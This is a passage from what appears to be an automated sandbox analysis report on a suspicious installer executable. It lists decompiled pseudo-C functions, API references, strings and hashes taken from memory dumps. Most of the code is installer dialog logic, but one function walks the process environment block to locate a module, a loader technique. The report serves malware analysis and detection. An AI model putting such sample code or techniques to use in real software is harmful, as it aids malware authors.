					if(( *0x42a27c & 0x00000002) != 0) {
						 *0x429230 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E004044C7( *0x429228);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x42a27c & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x004056eb
0x004056f1
0x004056fb
0x004056fe
0x00405894
0x004058b8
0x004058b8
0x004058cb
0x004058e9
0x004058eb
0x004058f3
0x00405949
0x0040594d
0x00000000
0x00000000
0x0040594f
0x00405955
0x00000000
0x00000000
0x0040595f
0x00405967
0x0040596a
0x00405a6c
0x00000000
0x00405a6c
0x00405979
0x00405984
0x0040598d
0x00405998
0x0040599b
0x004059a4
0x004059aa
0x004059ad
0x004059ad
0x004059c5
0x004059ce
0x004059d1
0x004059d8
0x004059df
0x004059e7
0x004059e7
0x004059fe
0x004059fe
0x00405a05
0x00405a0b
0x00405a17
0x00405a1e
0x00405a27
0x00405a29
0x00405a2c
0x00405a3b
0x00405a3e
0x00405a44
0x00405a45
0x00405a4b
0x00405a4c
0x00405a4d
0x00405a55
0x00405a60
0x00405a66
0x00405a66
0x00000000
0x004059c5
0x004058fb
0x0040592b
0x00405933
0x0040593e
0x0040593e
0x00405944
0x00000000
0x00405944
0x004058ff
0x00405909
0x00000000
0x004058cd
0x004058d3
0x0040590e
0x00000000
0x00405917
0x004058dc
0x004058e1
0x004058e4
0x00000000
0x004058e4
0x004058cb
0x00405704
0x00405708
0x00405710
0x00405714
0x00405717
0x0040571a
0x0040571d
0x00405720
0x00405721
0x00405722
0x0040573b
0x0040573e
0x00405748
0x00405757
0x0040575f
0x00405767
0x0040576c
0x0040576f
0x0040577b
0x00405784
0x0040578d
0x004057af
0x004057b5
0x004057c6
0x004057cb
0x004057d9
0x004057e7
0x004057e7
0x004057ec
0x004057fa
0x004057fa
0x004057ff
0x00405802
0x00405807
0x00405813
0x0040581c
0x00405829
0x00405838
0x0040582b
0x00405830
0x00405830
0x00405844
0x00405844
0x00405858
0x00405861
0x0040586a
0x0040587a
0x00405886
0x00405886
0x00000000

APIs

GetDlgItem.USER32 ref: 00405741
GetDlgItem.USER32 ref: 00405750
GetClientRect.USER32 ref: 0040578D
GetSystemMetrics.USER32 ref: 00405794
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057B5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057C6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004057D9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004057E7
SendMessageW.USER32(?,00001024,00000000,?), ref: 004057FA
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040581C
ShowWindow.USER32(?,00000008), ref: 00405830
GetDlgItem.USER32 ref: 00405851
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405861
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040587A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405886
GetDlgItem.USER32 ref: 0040575F

Part of subcall function 004044C7: SendMessageW.USER32(00000028,?,00000001,004042F2), ref: 004044D5

GetDlgItem.USER32 ref: 004058A3
CreateThread.KERNEL32 ref: 004058B1
CloseHandle.KERNEL32(00000000), ref: 004058B8
ShowWindow.USER32(00000000), ref: 004058DC
ShowWindow.USER32(?,00000008), ref: 004058E1
ShowWindow.USER32(00000008), ref: 0040592B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040595F
CreatePopupMenu.USER32 ref: 00405970
AppendMenuW.USER32 ref: 00405984
GetWindowRect.USER32 ref: 004059A4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059BD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004059F5
OpenClipboard.USER32(00000000), ref: 00405A05
EmptyClipboard.USER32 ref: 00405A0B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A17
GlobalLock.KERNEL32 ref: 00405A21
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A35
GlobalUnlock.KERNEL32(00000000), ref: 00405A55
SetClipboardData.USER32 ref: 00405A60
CloseClipboard.USER32 ref: 00405A66

Strings

H7B, xrefs: 004059D1
{, xrefs: 00405949

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H7B${
API String ID: 590372296-2256286769
Opcode ID: de83834612293bf752b8c6c6de4c5caa3b4facca9786645fdbb76cb5e3bc5ba2
Instruction ID: babe9631ed489b332455c35fc9929fd6d80e8fe82f7b5f1866f1dd344d2d825a
Opcode Fuzzy Hash: de83834612293bf752b8c6c6de4c5caa3b4facca9786645fdbb76cb5e3bc5ba2
Instruction Fuzzy Hash: C9B159B1900608FFDF11AFA0DD85AAE7B79FB48354F00847AFA41A61A0CB754E51DF68

Uniqueness

Uniqueness Score: -1.00%

Function 00404983, Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404983(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x422720;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x42b000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405B86(0x3fb, _t146);
					E004067EB(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405B86(0x3fb, _t146);
							if(E00405F19(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E0040653C(0x421718, _t146);
							_t87 = E00406931(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E0040653C(0x421718, _t146);
								_t89 = E00405EBC(0x421718);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x421718,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x421718) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x421718,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405E5D(0x421718);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x421718) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404E20(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x42923c + 0x10)) != _t158) {
									E00404E08(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x421708);
									} else {
										E00404D3F(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x42a324 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E004044B4(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x423738 == _t158) {
									E004048DC();
								}
								 *0x423738 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x423748;
							_v60 = E00404CD9;
							_v56 = _t146;
							_v68 = E00406579(_t146, 0x423748, _t167, 0x421f20, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405E11(_t146);
								_t125 =  *((intOrPtr*)( *0x42a274 + 0x11c));
								if( *((intOrPtr*)( *0x42a274 + 0x11c)) != 0 && _t146 == L"C:\\Users\\hardz\\AppData\\Local\\Temp") {
									E00406579(_t146, 0x423748, _t167, 0, _t125);
									if(lstrcmpiW(0x428200, 0x423748) != 0) {
										lstrcatW(_t146, 0x428200);
									}
								}
								 *0x423738 =  *0x423738 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405E88(_t146) != 0 && E00405EBC(_t146) == 0) {
						E00405E11(_t146);
					}
					 *0x429238 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00404492(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00404492(_t167);
					E004044C7(_t166);
					_t138 = E00406931(8);
					if(_t138 == 0) {
						L53:
						return E004044F9(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x00404983
0x00404989
0x0040498f
0x0040499c
0x004049aa
0x004049ad
0x004049b5
0x004049bb
0x004049bb
0x004049c7
0x004049ca
0x00404a38
0x00404a3f
0x00404b16
0x00404b1d
0x00404b2c
0x00404b2c
0x00404b30
0x00404b3a
0x00404b47
0x00404b49
0x00404b49
0x00404b57
0x00404b5e
0x00404b65
0x00404b68
0x00404ba4
0x00404ba6
0x00404bac
0x00404bb1
0x00404bb5
0x00404bb7
0x00404bb7
0x00404bd3
0x00000000
0x00404bd5
0x00404bd8
0x00404be6
0x00404bec
0x00404bed
0x00404bf0
0x00404bf3
0x00000000
0x00404bf3
0x00404b6a
0x00404b6c
0x00404b70
0x00000000
0x00000000
0x00000000
0x00000000
0x00404b72
0x00404b72
0x00404b7f
0x00404b84
0x00000000
0x00000000
0x00404b88
0x00404b8a
0x00404b8a
0x00404b93
0x00404b95
0x00404b9a
0x00404b9d
0x00404ba2
0x00000000
0x00000000
0x00000000
0x00000000
0x00404ba2
0x00404bff
0x00404c09
0x00404c0c
0x00404c0f
0x00404c16
0x00404c16
0x00404c18
0x00404c18
0x00404c1d
0x00404c1f
0x00404c27
0x00404c2e
0x00404c30
0x00404c3b
0x00404c3b
0x00404c30
0x00404c4b
0x00404c55
0x00404c5d
0x00404c78
0x00404c5f
0x00404c68
0x00404c68
0x00404c5d
0x00404c7d
0x00404c82
0x00404c87
0x00404c90
0x00404c90
0x00404c99
0x00404c9b
0x00404c9b
0x00404ca7
0x00404caf
0x00404cb9
0x00404cb9
0x00404cbe
0x00000000
0x00404cbe
0x00404b68
0x00404b1f
0x00404b26
0x00000000
0x00000000
0x00000000
0x00404b26
0x00404a45
0x00404a4e
0x00404a68
0x00404a6d
0x00404a77
0x00404a7e
0x00404a8a
0x00404a8d
0x00404a90
0x00404a97
0x00404a9f
0x00404aa2
0x00404aa6
0x00404aad
0x00404ab5
0x00404b0f
0x00404ab7
0x00404ab8
0x00404abf
0x00404ac9
0x00404ad1
0x00404ade
0x00404af2
0x00404af6
0x00404af6
0x00404af2
0x00404afb
0x00404b08
0x00404b08
0x00404ab5
0x00000000
0x00404a6d
0x00404a5b
0x00000000
0x00000000
0x00404a61
0x00000000
0x004049cc
0x004049d9
0x004049e2
0x004049ef
0x004049ef
0x004049f6
0x004049fc
0x00404a05
0x00404a08
0x00404a0b
0x00404a13
0x00404a16
0x00404a19
0x00404a1f
0x00404a26
0x00404a2d
0x00404cc4
0x00404cd6
0x00404a33
0x00404a36
0x00000000
0x00404a36
0x00404a2d

APIs

GetDlgItem.USER32 ref: 004049D2
SetWindowTextW.USER32(00000000,?), ref: 004049FC
SHBrowseForFolderW.SHELL32(?), ref: 00404AAD
CoTaskMemFree.OLE32(00000000), ref: 00404AB8
lstrcmpiW.KERNEL32(KXCJDFJSKF,00423748,00000000,?,?), ref: 00404AEA
lstrcatW.KERNEL32(?,KXCJDFJSKF), ref: 00404AF6
SetDlgItemTextW.USER32 ref: 00404B08

Part of subcall function 00405B86: GetDlgItemTextW.USER32(?,?,00000400,00404B3F), ref: 00405B99

Part of subcall function 004067EB: CharNextW.USER32(?,*?|<>/":,00000000,00000000,74B5FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\NAO09009009.exe" ,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 0040684E
Part of subcall function 004067EB: CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 0040685D
Part of subcall function 004067EB: CharNextW.USER32(?,00000000,74B5FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\NAO09009009.exe" ,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406862
Part of subcall function 004067EB: CharPrevW.USER32(?,?,74B5FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\NAO09009009.exe" ,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406875

GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 00404BCB
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404BE6

Part of subcall function 00404D3F: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE0
Part of subcall function 00404D3F: wsprintfW.USER32 ref: 00404DE9
Part of subcall function 00404D3F: SetDlgItemTextW.USER32 ref: 00404DFC

Strings

H7B, xrefs: 00404A80
KXCJDFJSKF, xrefs: 00404AE4, 00404AE9, 00404AF4
C:\Users\user\AppData\Local\Temp, xrefs: 00404AD3
A, xrefs: 00404AA6

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Temp$H7B$KXCJDFJSKF
API String ID: 2624150263-544419398
Opcode ID: dd814ec643b45a90e93cf69e5cb033f89cff98d2f4c91cecb2b3846f87e86dba
Instruction ID: 8299be71a3cc8d15b5ba292867d4bcc1bae11f059afa92557538f40593a335a7
Opcode Fuzzy Hash: dd814ec643b45a90e93cf69e5cb033f89cff98d2f4c91cecb2b3846f87e86dba
Instruction Fuzzy Hash: 8EA193B1900209ABDB11AFA5DD45AAFB7B8EF84314F11803BF601B62D1D77C9941CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 004021A2, Relevance: 1.6, APIs: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004021A2(void* __eflags) {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x10)) = E00402D3E(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x44)) = E00402D3E(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402D3E(2);
				 *((intOrPtr*)(_t107 - 0x4c)) = E00402D3E(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402D3E(0x45);
				_t52 =  *(_t107 - 0x20);
				 *(_t107 - 0x50) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405E88( *((intOrPtr*)(_t107 - 0x44))) == 0) {
					E00402D3E(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4084e4, _t83, 1, 0x4084d4, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084f4, _t107 - 0x38);
					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, 0x436000);
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x38));
							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x38));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x42a308 =  *0x42a308 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x004021ab
0x004021b5
0x004021bf
0x004021c9
0x004021d4
0x004021d7
0x004021f1
0x004021f4
0x004021fa
0x004021fd
0x00402207
0x0040220b
0x0040220b
0x00402210
0x00402221
0x00402229
0x004022e0
0x004022e0
0x004022e7
0x0040222f
0x0040222f
0x0040223e
0x00402242
0x00402245
0x0040224b
0x00402259
0x0040225c
0x0040225e
0x00402269
0x00402269
0x0040226e
0x00402270
0x00402277
0x00402277
0x0040227a
0x00402283
0x00402286
0x0040228c
0x0040228e
0x00402298
0x00402298
0x0040229b
0x004022a4
0x004022a7
0x004022b0
0x004022b6
0x004022b8
0x004022c6
0x004022c6
0x004022c9
0x004022cf
0x004022cf
0x004022d2
0x004022d8
0x004022de
0x004022f3
0x00000000
0x00000000
0x00000000
0x004022de
0x004022e9
0x00402bc5
0x00402bd1

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402221

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 72dc8e9db93c4c674b083c5b9862340eb2a4a3a434f4dc697f40a6002f3ad846
Instruction ID: 3a0b8fa6945436ea0e4cb0e043321d643ed21fd69d70badd8d93d2b131f18866
Opcode Fuzzy Hash: 72dc8e9db93c4c674b083c5b9862340eb2a4a3a434f4dc697f40a6002f3ad846
Instruction Fuzzy Hash: C9412775A00209AFCF00DFE4C989A9E7BB6FF48304B20457AF915EB2D1DB799981CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00402902, Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00402902(short __ebx, short* __edi) {
				void* _t21;

				if(FindFirstFileW(E00402D3E(2), _t21 - 0x2dc) != 0xffffffff) {
					E00406483( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2b0);
					_push(__edi);
					E0040653C();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__edi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x42a308 =  *0x42a308 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x0040291a
0x00402935
0x00402940
0x00402941
0x00402a7b
0x0040291c
0x0040291f
0x00402922
0x00402925
0x00402925
0x00402bc5
0x00402bd1

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402911

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 3b60821db03e7c89aca0c5b0534f9a5e3572e1c1da5c461867ddc0393e8a1961
Instruction ID: e1d09971df8357d0b6d26b0e23bbdd0a86073f761c05595cd8bb911c59de634c
Opcode Fuzzy Hash: 3b60821db03e7c89aca0c5b0534f9a5e3572e1c1da5c461867ddc0393e8a1961
Instruction Fuzzy Hash: C9F08C71A00104AFC700DFA4ED499AEB378EF10314F70857BE916F21E0D7B89E119B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00B43B21, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.219491408.0000000000B40000.00000040.00000001.sdmp, Offset: 00B40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4190573f41b5aaf3d97b7b4ebc131eb1ca3e1ee9d0b453c61c3dcd2709d33944
Instruction ID: c5a1f3a05a3ca123d99595324145c7ca134ad95892793e83a916871ff9e1376c
Opcode Fuzzy Hash: 4190573f41b5aaf3d97b7b4ebc131eb1ca3e1ee9d0b453c61c3dcd2709d33944
Instruction Fuzzy Hash: FA010C78A11208EFCB81DF98C581AADBBF4EB18720F1585D6E954E7721E330AF50AB40

Uniqueness

Uniqueness Score: -1.00%

Function 00B4385C, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.219491408.0000000000B40000.00000040.00000001.sdmp, Offset: 00B40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
Instruction ID: 58c6f5837427d6eca2c2deaad74ce6c6656098581891570576efec04afcca601
Opcode Fuzzy Hash: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
Instruction Fuzzy Hash: 42D001392A1A48CFC241CF4CD084E40B3F8FB0DA20B068092FA0A8BB32C334FC00DA80

Uniqueness

Uniqueness Score: -1.00%

Function 10001110, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001110() {

				return  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)))))) + 0x18));
			}

0x10001123

Memory Dump Source

Source File: 00000000.00000002.220358160.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.220347485.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.220372737.0000000010002000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction ID: 01513cdb45ce42654985ae443ff07ed2023d2f9c2cc80418f216d1c85a703bac
Opcode Fuzzy Hash: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction Fuzzy Hash: ECC00139661A40CFCA55CF08C194E00B3F4FB5D760B068491E906CB732C234ED40DA40

Uniqueness

Uniqueness Score: -1.00%

Function 00404EFF, Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 490
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404EFF(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				intOrPtr _v24;
				signed char* _v28;
				int _v32;
				void* _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
